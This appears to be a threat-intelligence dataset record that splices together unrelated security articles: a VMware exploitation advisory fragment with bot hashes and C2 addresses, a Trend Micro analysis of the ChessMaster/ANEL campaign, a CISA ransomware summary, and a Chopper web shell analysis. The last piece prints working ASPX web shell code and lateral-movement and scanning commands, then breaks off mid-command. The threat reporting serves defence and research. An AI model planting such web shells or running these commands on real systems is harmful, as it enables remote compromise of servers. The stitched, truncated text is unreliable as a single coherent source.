mrmoor/cyber-threat-intelligence huggingface dataset:
Another proof of concept code sample is additionally available targeting the following 2 filepaths: /opt/vmware/certproxy/bin/certproxyService.sh /usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn
Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code.
Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:
Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.
Cortex Xpanse was able to identify ~800 instances of VMware Workspace ONE Access connected to the public internet, and can be leveraged to enumerate potentially vulnerable instances within customer networks.
WildFire and Cortex XDR categorize all samples of supported file types as malware.
Mirai/Gafgyt dropper scripts or variants  Perl Shellbot  Coinminer activity  Webshell downloads (full injected command)  Callback/Scanning activity  Direct Download exploits where payloads were no longer live at the time of analysis:  Sample hashes  801b23bffa65facee1da69bc6f72f8e1e4e1aeefc63dfd3a99b238d4f9d0a637 6d403c3fc246d6d493a6f4acc18c1c292f710db6ad9c3ea2ff065595c5ad3c5b 940a674cfe8179b2b8964bf408037e0e5a5ab7e47354fe4fa7a9289732e1f1b8 fdc94d0dedf6e53dd435d2b5eacb4c34923fadee50529db6f3de38c71f325e05 85143ecc41fb6aadd822ed2d6f20c721a83ae1088f406f29b8b0b05459053a03  bot.v 0b4b25fab4c922e752e689111f38957e0402fd83f6b1d69e8f43c6f4b68fc1ba C2 server : 5[.]39.217.212:80
Channel : #vcenter getsome  bot.redis 48628ca95608a015f47506eb1dc6fad0cd04a4cf5d44fdb8f10255fe0aa3c29b C2 server : 64[.]32.6.143:80
Channel : #redis getsome  botVNC c399b56e1baf063ca2c8aadbbe4a2b58141916aac8ef790a9c29762ed1956bd5 C2 server : 5[.]39.217.212:80
Channel : #D getsome  7e29615126585b9f87ded09cfae4724bb5d7896c7daf2adfcef775924549e49b  099ac2f3e10346dbef472b2a7b443ebfe1f6011a9a2518a54c20aad07fe9ec61  Updated May 23, 2022, at 1 p.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
Additional resources https://www.zerodayinitiative.com/about https://www.zerodayinitiative.com/blog      Tags
Latest News | Exploits & Vulnerabilities | Cyber Threats | Connected Car | APT & Targeted Attacks | Endpoints | IoT | Video
Trend Micro discovered the ChessMaster campaign back in July 2017 as part of our monitoring efforts to protect our customers.
At the time, we found ChessMaster targeting different sectors from the academe to media and government agencies in Japan.
The threat group used a variety of attack tools and techniques to spy on their target organizations.
Back then, we noted that ChessMaster's sophisticated nature implied that the campaign could evolve, before finding changes in the tools and tactics used in the campaign a few months later.
While the original campaign was comprehensive and used remote access Trojans (RATs) such as ChChes and RedLeaves, this new campaign used a new backdoor (Detected by Trend Micro as BKDR_ANEL.ZKEI) that leverages the CVE-2017-8759 vulnerability for its cyberespionage activities.
In this blog post, we analyze ChessMaster's current status, including the updated tools in its arsenal — with a particular focus on the evolution of ANEL and how it is used in the campaign.
July ChessMaster Campaign November ChessMaster Campaign Current ChessMaster Campaign
Point of Entry  Spear-phishing emails containing decoy documents Malicious shortcut (LNK) files and PowerShell Self-extracting archive (SFX) Runtime packers    Spear-phishing emails containing decoy documents exploiting CVE-2017-8759    Spear-phishing emails containing decoy documents exploiting  CVE-2017-11882, DDEAUTO, Microsoft Office Frameset and Link auto update   Notable Tools  Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads   Backdoor  ChChes    ANEL    ANEL     Technical Analysis  Figure 1.
Infection Chain for the current ChessMaster campaign
ChessMaster’s current iteration starts off with the familiar phishing attacks seen in the earlier campaigns that involved the use of an email with an attached malicious document using the doc, docx, rtf, csv and msg formats.
The email title and attached file name were written in Japanese and contain general business, political, and economy-themed phrases such as  世界経済(World economy) 経済政策(economic policy) 予算概算要求(budget estimation request) 日米対話(Japan-US dialogue) 安倍再任(re-appointment of Prime Minister Abe) 連絡網(contact network) 職員採用案(staff recruitment plan) 会議(meeting)  However, there is a change in the exploit document.
When we tracked ChessMaster back in November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 (patched in September 2017) within the Microsoft .NET framework to download additional malware.
While ChessMaster still uses the previous exploit, it also added more methods to its arsenal: one exploits another vulnerability, CVE-2017-11882 (patched in November 2017), which was also exploited to deliver illegal versions of the Loki infostealer.
Figure 2. Exploitation of CVE-2017-11882
It also abuses three legitimate MS Office functions:
Function Purpose Affected MS Office Formats we found in the wild Automatic Dynamic Data Exchange (DDEAUTO) A legitimate Microsoft Office function used in an Office file to retrieve data from another Office file
.doc .rtf .msg   Link
An Office function used for automatic and user-free updates for embedded links upon opening.
.csv   Microsoft Word's "Frames/Frameset" A feature that allows HTML or Text pages to be loaded in a frame within Microsoft Word.
.docx      Figure 3. Exploitation of DDEAUTO  Figure 4.
Abusing Microsoft Word's "Frames/Frameset"
Figure 5. Exploitation of Link Auto Update
ChessMaster can utilize any of these methods to download the next malware in the chain, the open source post-exploitation tool known as “Koadic,” which the previous campaign also used.
This tool is responsible for stealing information — specifically the environment information — within the target system.
Koadic executes the following command:  %comspec% /q /c <cmd> 1> <Output> 2>&1
The commands and output of Koadic will change according to the ANEL version used in the attack.
The table below lists examples of the commands and outputs for ANEL versions 5.1.1 rc and 5.1.2 rc1.
Note that if ANEL 5.1.2 rc1 was downloaded, the attacker would use HTTPS to avoid the downloaded data being captured as clear text.
Koadic commands and output when ANEL 5.1.1 rc is used  Figure 7.
Koadic commands and output when ANEL 5.1.2 rc1 is used
The table below lists all of Koadic's functions:  {Variable}.user User-related functions {Variable}.user.isElevated Check Privilege {Variable}.user.OS Get OS Version {Variable}.user.DC
Get DCName from Registry {Variable}.user.Arch
Get Architecture {Variable}.user.info Get User Information {Variable}.work
Main Routine functions {Variable}.work.report Reports to server {Variable}.work.error Returns error {Variable}.work.make_url Alters/Modifies URL (C&C) {Variable}.work.get
Get the return of POST Header {Variable}.work.fork Creates rundll32.exe process {Variable}.http HTTP Connection functions {Variable}.http.create Creates initial HTTP objects {Variable}.http.post POST header {Variable}.http.addHeaders
Adds HTTP Headers {Variable}.http.get GET Header {Variable}.http.upload Uploads binaries/data {Variable}.http.bin2str String manipulation {Variable}.http.downloadEx
Downloads response {Variable}.http.download Additional download function {Variable}.process Process-related functions {Variable}.process.currentPID Get Current Process ID {Variable}.process.list Enumerates Process {Variable}.process.kill Terminates Process {Variable}.registry Registry-related functions {Variable}.registry.HKCR Set HKEY_CLASSES_ROOT {
Variable}.registry.HKCU Set HKEY_CURRENT_USER {Variable}.registry.HKLM Set HKEY_LOCAL_MACHINE {Variable}.registry.STRING Set String Value {Variable}.registry.BINARY Set Binary Value {Variable}.registry.DWORD Set DWORD Value {Variable}.registry.QWORD
Set QWORD Value {Variable}.registry.write Write/Add Registry {Variable}.registry.provider Create Registry Handle {Variable}.registry.destroy Deletes Registry Key {Variable}.registry.read Get/Read Registry Entries {Variable}.WMI WMI-related functions {
Variable}.WMI.createProcess Creates specified process {Variable}.shell File/Process Execution functions {Variable}.shell.run Run commands {Variable}.shell.exec Executes process {Variable}.file File-related functions {Variable}.file.getPath Get specified file path {Variable}.file.readText Reads specified text file {Variable}.file.get32BitFolder Get System Folder (32/64-bit) {Variable}.file.writol Writes on specified file {Variable}.file.deleteFile Deletes specified file {Variable}.file.readBinary Reads specified binary file.    Figure 8.
Command added when the Koadic RAT is downloaded (use of {Variable}.shell.exec command)
If Koadic finds that the system is conducive to the attacker’s interests, it downloads a base64-encrypted version of the ANEL malware from the Command-and-Control (C&C) server and executes it.  Encrypted ANEL is decrypted using the “certutil -docode” command.
When ANEL executes, a decrypted DLL file with the filename “lena_http_dll.dll” is expanded in memory.
This file contains one export function — either “crt_main” or “lena_main”  Figure 9.
Base64 encoded ANEL downloaded by Koadic ANEL will send the infected environment’s information to the C&C server.
When sending the information, ANEL encrypts the data using blowfish, XOR, and Base64-based encryption methods.
The format ANEL uses to send data is similar to ChChes, but ANEL's encryption method is easier to use.
Figure 10.
Encryption key using blowfish
We initially discovered the malware known as ANEL back in September 2017.
At that time, ChessMaster was using ANEL as a backdoor into the target system then injects code into svchost.exe, which then decrypts and activates the embedded backdoor.
This initial version of ANEL had a hardcoded version labeled “5.0.0 beta1” that contained incomplete code.
We noted that this might signify the release of a future variant.
Instead of just one new variant, we discovered four different versions of ANEL:  5.0.0 beta1 5.1.1 rc 5.1.2 rc1 5.2.0 rev1  The different versions contain changes in the ANEL loader and the main ANEL DLL.
The figure below shows a summary of the changes between each version:  Figure 11.
Summary of the changes between each version of ANEL
Differences with regards to Backdoor commands:  CMD ID 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 5.2.0 rev1 0x97A168D9697D40DD Save File 0x7CF812296CCC68D5 Upload File 0x652CB1CEFF1C0A00 NA Load New PE file 0x27595F1F74B55278 Save File and Execute If no match above Execute Command or File   The differences shown in the table above are subtle but present.
For example, the initial ANEL version, “5.0.0 beta1,” uses a different C&C server compared to the other versions.
Once ANEL evolved to “5.1.1 rc,” it changed its file type to an executable, while also changing the C&C server.
The third version we found (5.1.2 rc1) reverts to a DLL file type but retains the C&C server.
The fourth version of ANEL (5.2.0 rev1) changes both the export function in the expanded main ANEL DLL and uses a different C&C server.
Overall, we can see subtle changes, which indicate that the threat actors behind ANEL are making incremental improvements to the malware to refine it.
Backdoor function differences between ANEL 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 (left) and ANEL 5.2.0 rev1 (right)
Once ANEL enters the user’s system, it will download various tools that could be used for malicious purposes, including password retrieval tools as well as malicious mail services and accessibility tools that will allow it to gather information about the system.
These include Getpass.exe and Mail.exe, which are password and information stealers.
It also downloads the following:  Accevent.exe <-> Microsoft Accessible Event Watcher 7.2.0.0 event.dll <-> the loader of ssssss.ddd, (Detected as TROJ_ANELLDR) ssssss.ddd (lena_http.bin) <-> encrypted BKDR_ANEL (Detected as BKDR_ANELENC)
These three files work together using a common technique call DLL Side-Loading or DLL Hijacking.
In this scenario, accevent.exe is the primary executable, which is usually legitimate.
After the execution of accevent.exe, it loads event.dll, which will be placed in the same folder (so it takes loading priority), after which event.dll decrypts and loads the encrypted backdoor ssssss.ddd, which is BKDR_ANEL.
When we analyzed ANEL 5.1.1 rc, encrypted ANEL 5.1.2 rc1 was downloaded and executed.
Short-term mitigation
When the user opens the document DDEAUTO or Link Auto Update, Office will display a message.
If the user clicks on the “No” button, malicious activity will not initiate.
Figure 13: Popup message when users open the document that abuses DDEAUTO  Figure 14.
Popup message when the user opens the document that abuses Link Auto Update Koadic sends its own JavaScript code as plain text.
The suspect communication allows us to detect the traffic.
Figure 15. Koadic’s communication traffic Medium- to long-term mitigation
At first glance, it seems ChessMaster’s evolution over the past few months involves subtle changes.
However, the constant addition and changing of features and attack vectors indicate that the attackers behind the campaign are unlikely to stop and are constantly looking to evolve their tools and tactics.
Organizations can implement various techniques and best practices to defend against targeted attacks, such as regular patching to prevent vulnerability exploitation and using tools that provide protection across different network levels.
Solutions that feature behavior monitoring, application control, email gateway monitoring, and intrusion/detection systems can help with this.
Given how cybercriminal tools, tactics and procedures are evolving, organizations will have to go beyond their typical day-to-day security requirements and find a way to preempt attacks.
Thus, there is a pressing need to detect and address threats via a proactive incident response strategy.
Essentially, this involves creating a remediation plan for effectively combating the threat and using round-the-clock intrusion detection and threat analysis to prevent attacks from entering the system.
A proactive strategy can be much more effective for targeted attacks, as these kinds of attacks are often designed to be elusive and difficult to detect, thus the need to scope them out.
A comprehensive security strategy that involves proactive incident response will need the input of both decision makers and tech-savvy personnel, as they will need to be on the same page for it to be effective.
In addition to implementing both mitigation techniques and proactive strategies, organizations can also strengthen their security by employing solutions such Trend Micro™ Deep Security™ and TippingPoint, which protects endpoints from threats that abuse vulnerabilities.
In addition, comprehensive security solutions can be used to protect organizations from attacks.
These include Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs.
Trend Micro Deep Discovery™ can protect enterprises by detecting malicious attachment and URLs.
Trend Micro OfficeScan™ with XGen™ endpoint security
infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats.
A more detailed analysis of the Command-and-Control communication flow of ANEL can be found in this technical brief.
Indicators of Compromise Hash Downloader used in the campaign:  76b1f75ee15273d1226392db3d8f1b2aed467c2875e11d9c14fd18120afc223a 4edcff56f586bd69585e0c9d1d7ff4bfb1a2dac6e2a9588f155015ececbe1275 1b5a1751960b2c08631601b07e3294e4c84dfd71896453b65a45e4396a6377cc  Hashes detected as part of the BKDR_ANEL Family: 5.0.0 beta1  af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd  5.1.1 rc  2371f5b63b1e44ca52ce8140840f3a8b01b7e3002f0a7f0d61aecf539566e6a1  5.1.2 rc1  05dd407018bd316090adaea0855bd7f7c72d9ce4380dd4bc0feadc6566a36170  5.2.0 rev1  00030ec8cce1f21120ebf5b90ec408b59166bbc3fba17ebae0fc23b3ca27bf4f  lena_http.bin  303f9c00edb4c6082542e456a30a2446a259b8bb9fb6b0f76ff318d5905e429c  Tools used in the campaign: Getpass.exe  52a8557c8cdd5d925453383934cb10a85b117522b95c6d28ca097632ac8bc10d  event.dll  6c3224dbf6bbabe058b0ab46233c9d35c970aa83e8c4bdffb85d78e31159d489  mail.exe  2f76c9242d5ad2b1f941fb47c94c80c1ce647df4d2d37ca2351864286b0bb3d8  URLs and IP Addresses related to the campaign:  www[.]nasnnones[.]com trems[.]rvenee[.]com contacts[.]rvenee[.]com 91[.]207[.]7[.]91 89[.]18[.]27[.]159 89[.]37[.]226[.]108 185[.]25[.]51[.]116 185[.]81[.]113[.]95 185[.]144[.]83[.]82 185[.]153[.]198[.]58 185[.]159[.]129[.]226         Tags  Malware | APT & Targeted Attacks | Endpoints | Cyber Crime | Research | Network
Last June 9, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released the Rising Ransomware Threat to OT Assets, which addresses the recent rise in ransomware attacks targeting operational assets (OT) and control systems.
The guidance provides steps to prepare for, mitigate against, and respond to attacks.
It also identifies how dependencies between an enterprise's IT and OT systems can give attackers a path.
Lastly, the document thoroughly explains how to decrease the risk of severe business degradation if affected by a ransomware attack.
To prepare for ransomware attacks, CISA recommends enterprises determine their critical operational processes' reliance on key IT infrastructure and identify a resilience plan for when access control is lost.
They should also exercise an incident response plan and Implement regular data backup procedures on both IT and OT networks.
For mitigating and responding to an attack, organizations must practice good cyber hygiene by updating software, implementing an allow listing, and enabling strong spam filters.
Organizations must also identify which systems were affected and immediately isolate them and triage the impacted systems for restorations and recovery.
They must also confer with teams to develop and document what has occurred.
According to the agency, critical infrastructure owners and operators should also adopt an "heightened state of awareness".
CISA also encourages them to identify critical processes that must not be interrupted to provide essential services, develop and regularly test workarounds and/or manual controls that ensure critical processes and industrial control system (ICS) network supporting them.
CISA recommends critical infrastructure owners to implement robust network segmentation between IT and OT networks and make sure backup procedures are executed and tested regularly.
Lastly, backups should be isolated from network connections.
The fact sheet comes after numerous ransomware attacks on key critical infrastructures in the US and abroad, including the attack on Colonial Pipeline by DarkSide.
In 2019, Trend Micro conducted research analyzing cyberattacks by building and using a factory honeypot, mimicking a factory environment.
The study, Fake Company, Real Threats, revealed that over 20 attacks were observed during 240 days- six of which affected factory productivity.
This shows how vulnerable smart factories are when it comes to various cyberattacks, such as ransomware.
Ransomware incidents are federal crimes, according to the agency.
Enterprises, especially critical infrastructure establishments, must report the attack to law enforcement to help bring the attackers to justice.
Moreover, decision-makers and stakeholders should have a better understanding of cybersecurity and its role in securing their operations and the safety of consumers.
To learn more about how to protect smart factories and their critical operations, read Trend Micro's expertly crafted best practices and solutions:  Smart Factory Security Solutions Trend Micro Best Practices for Securing Smart Factories         Tags  Latest News | ICS OT | APT & Targeted Attacks | Ransomware | Articles, News, Reports | Cyber Threats
Web shells, in their simplicity and straightforwardness, are highly potent when it comes to compromising systems and environments.
These malicious code pieces can be written in ASP, PHP, and JSP, or any script that can execute a system command with a parameter that can pass through the web.
Web shells can be embedded on web servers and can be used by malicious actors to launch arbitrary code.
In as little as 15 bytes, web shells can enable remote administration of an infected machine or system.
Threats such as this can be difficult to detect even with multiple security layers — especially if they are not consolidated.   In this blog, we will dissect a targeted attack that made use of the Chopper ASPX web shell (detected by Trend Micro as Backdoor.ASP.WEBSHELL.UWMANA).  Technical Analysis
Initial access
Based on our investigation, the Chopper web shell is dropped via a system token, potentially via a Microsoft Exchange Server vulnerability.
One notable vulnerability in the Microsoft Exchange Server is CVE-2020-0688, a remote code execution bug.
Microsoft issued a patch for this vulnerability in  February 2020.
However, the malicious actors behind this attack drop the Chopper web shell in the web directory folder to establish persistence.
Through the ASPX file, malicious actors can establish a foothold in affected public-facing Outlook Web App (OWA) servers and send remote commands through them.
Outlook Web App (Web Directory)  -  D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium\premium.aspx
The attack features the following script:
<%@ Page Language="Jscript" Debug=true%>
System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJjb21tYW5kIl0="))
var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl")); var c=eval(a,b); eval(c,b); %>
When simplified, the malicious script looks like this, with the eval being the executor and the Request.Form acquiring the parameter to be executed:
<%@ Page Language="Jscript"%><%eval(Request.Form["Command"],"unsafe");%> We’ve observed that in some cases, malicious actors insert this short script to avoid detection:       Figure 1. A short script
inserted by malicious actors to avoid detection
User Activity Checking Once Chopper successfully infects a system, the malicious actor will issue a query user (quser) command in an attempt to identify the primary user or those who are currently logged in as users in the system.
Based on our observation, the quser command was used routinely throughout the attack to determine active remote sessions.
The quser command is used to identify active remote sessions.
Deobfuscation technique
To deploy its tools, it uses the expand command to extract package files dropped in the system.
expand {filename}.ex_ {filename}.dat expand {filename}.ex_ {filename}.exe
We saw a noticeable difference with this attack compared to other Chopper attacks — its use of the .dat file extension, which is commonly used for data storage purposes, such as in a user profile’s ntuser.dat.
In this particular Chopper attack, the .dat files are used as executables.
Lateral movement
It proceeded with copying the Chopper web shell into accessible shared folders in other hosts to gain access.
copy premium.aspx "\\{hostname}\d$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium
It also scans for vulnerabilities across the network by using an installed tool, Hacktool.Win32.CATLIKE.A, and a legitimate cURL, C:\temp\curl.dat.
It specifically scans for web server-related vulnerabilities and password weaknesses in Apache Tomcat, Citrix, and phpMyAdmin applications.
Application/Port  Command  Oracle WebLogic  curl.dat -v -H 'Content-Type: text/